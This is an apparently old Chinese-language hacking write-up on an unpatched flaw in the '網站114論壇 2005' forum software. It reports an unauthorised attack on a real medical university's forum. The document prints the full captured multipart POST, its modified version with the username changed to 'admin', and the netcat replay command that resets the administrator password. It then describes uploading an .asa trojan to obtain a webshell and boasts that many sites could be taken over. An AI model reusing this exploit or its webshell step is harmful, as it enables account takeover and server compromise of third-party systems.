關(guān)鍵字:
"版權(quán)所有 設(shè)計(jì)制作：網(wǎng)站114" 
漏洞描述: 
網(wǎng)站114論壇 2005版正式
/edituserdb.asp
對(duì)提交數(shù)據(jù)和cooikes缺乏驗(yàn)證
導(dǎo)致任意用戶可以修改管理員密碼
默認(rèn)后臺(tái)admin/index.asp
今天在旁注一個(gè)機(jī)房的機(jī)器時(shí)用了一下。
http://www.***.net.cn/xzl/BBS/index.asp
**醫(yī)科大學(xué)網(wǎng)站上的一個(gè)論壇。
注冊(cè)了一個(gè)用戶33221.
然后跳轉(zhuǎn)到 /edituserdb.asp,單擊“修改注冊(cè)”開始抓包!
用記事本保存抓包內(nèi)容如下：
-----------------------------------------------------------------------------------------------------------
POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
Host: www.***.net.cn
Content-Length: 2304
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAddress"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPostCode"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTel"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtMobile"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtFax"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtEmail"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUrl"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtfile"; filename=""
Content-Type: application/octet-stream

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtOicq"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtDocument"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="submit"
修改注冊(cè)信息
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtId"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTempId"

-----------------------------7d61e41d605f6--

------------------------------------------------------------------------------------------------------------
其中：“
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
”
修改第一個(gè)"33221"為“admin”保存11.txt文本為：

POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
Host: www.***.net.cn
Content-Length: 2304
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
admin
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAddress"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPostCode"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTel"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtMobile"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtFax"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtEmail"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUrl"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtfile"; filename=""
Content-Type: application/octet-stream

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtOicq"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtDocument"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="submit"
修改注冊(cè)信息
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtId"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTempId"

-----------------------------7d61e41d605f6--
這里因?yàn)槲易?cè)的用戶名33221與admin長(zhǎng)度一至，所以這里不用修改字節(jié)長(zhǎng)度。
然后用nc提交到服務(wù)器
nc www.***.net.cn 80 <11.txt
返回提示修改會(huì)員資料成功。
然后用admin 密碼為申請(qǐng)33221的密碼一至登錄。
當(dāng)然就是管理員權(quán)限了，然后登錄后臺(tái)，點(diǎn)擊“修改欄目”，上傳asa木馬，ok,拿到webshll。
看了一下，這個(gè)論壇系統(tǒng)還沒(méi)有出補(bǔ)丁，可以拿大批webshell了，不過(guò)我只要了對(duì)我比較有用的一個(gè)服務(wù)器，其它的沒(méi)有去抓了。

最新評(píng)論